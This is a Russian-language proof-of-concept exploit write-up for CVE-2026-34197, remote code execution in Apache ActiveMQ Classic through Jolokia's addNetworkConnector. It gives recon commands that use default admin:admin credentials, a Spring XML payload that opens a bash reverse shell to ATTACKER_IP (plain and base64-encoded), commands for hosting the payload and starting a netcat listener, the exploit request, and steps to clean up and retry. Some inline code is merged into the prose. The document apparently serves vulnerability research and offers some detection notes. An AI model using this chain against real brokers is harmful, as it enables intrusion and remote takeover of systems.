
Эксплойт proof-of-concept для CVE-2026-34197 — RCE в Apache ActiveMQ через addNetworkConnector в Jolokia, с техническими заметками и полезной нагрузкой reverse shell.
addNetworkConnector RCEProof-of-concept и технические заметки по CVE-2026-34197 — уязвимости удалённого выполнения кода в Apache ActiveMQ Classic, доступной через JMX-HTTP мост Jolokia.
conf/jolokia-access.xml) предоставляет exec для каждого MBean org.apache.activemq:*. Это включает Broker.addNetworkConnector(String), который принимает transport URI vm://, чей query-параметр brokerConfig брокер загружает и разбирает как Spring XML файл определения бинов. Бин, класс которого — с , инстанцируется — и запускается — как побочный эффект разрешения графа бинов Spring. Цепочка гаджетов для десериализации не требуется.java.lang.ProcessBuilderinit-method="start"⚠️ Только для авторизованного тестирования / исследований / CTF. Не запускайте это против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
Подтвердите, что exec действительно доступен на MBean брокера:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) не принимает голый URI vm://... — сначала он разбирается как URI discovery-агента, а vm не является зарегистрированной discovery-схемой (DiscoveryAgent scheme NOT recognized: [vm]). Оберните его в static:(...) — схему статического обнаружения ActiveMQ, которая передаёт внутренний URI vm:// без изменений:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Обёртка <![CDATA[...]]> необходима, потому что однострочная команда reverse-shell содержит &, который XML в противном случае попытался бы разобрать как начало ссылки на сущность. Эквивалентный вариант без экранирования — закодировать команду в base64:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
Разместите его:
python3 -m http.server 8000
Запустите слушатель:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
Заголовок Origin важен. Если в этой версии jolokia-access.xml включено принудительное применение CORS (блок <cors></cors>, даже пустой), Jolokia требует корректно сформированный Origin/Referer для запросов, изменяющих состояние. Опустите его — и получите ответ об отказе политики, который может выглядеть так, будто система пропатчена, хотя это не так.
Успешный вызов возвращает:
{"value":"NC","status":200}
Вызов «слепой» через HTTP — в теле ответа нет вывода команды — поэтому именно ваш слушатель из предыдущего шага перехватывает шелл.
InstanceAlreadyExistsExceptionaddNetworkConnector(String) всегда регистрирует результирующий JMX-объект под именем коннектора NC, независимо от того, какой URI вы передаёте. Это жёстко заданное значение по умолчанию в самом ActiveMQ, а не что-то, производное от запроса:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) никогда не предоставляет способа переопределить его — не существует трюка с именем/query-параметром, который изменил бы зарегистрированное ObjectName (проверено вручную: добавление ?name=whatever вне обёртки static:(...) молча игнорируется).
Следствие: второй вызов addNetworkConnector — будь то ваш повтор после сломанного payload или просто потому, что коннектор уже зарегистрирован после более раннего успешного запуска — завершается ошибкой:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
Для восстановления не требуется перезапуск брокера. Broker также предоставляет removeNetworkConnector(String) через ту же политику Jolokia (грант <allow operation="*"> на org.apache.activemq:* покрывает все операции брокера, а не только эту). Очистите устаревший коннектор по имени и повторите:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
Успешный вызов возвращает {"value":true,"status":200}. Сразу же повторно запустите шаг 3 — он заново регистрирует NC и снова запускает poc.xml.
admin для Jolokia/консоли, которая не связана с учётной записью ОС.addNetworkConnector не просто однократно запускает Spring-бин — он оставляет живой объект сетевого коннектора, зарегистрированный на брокере (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). Это устойчивый артефакт эксплуатации, не зависящий от того, сохраняется ли сам порождённый процесс.NetworkBridgeConfiguration.java — источник значения по умолчанию private String name = "NC";BrokerViewMBean.java — JMX-интерфейс addNetworkConnector / removeNetworkConnectorNetworkConnector.javaDiscoveryNetworkConnector.java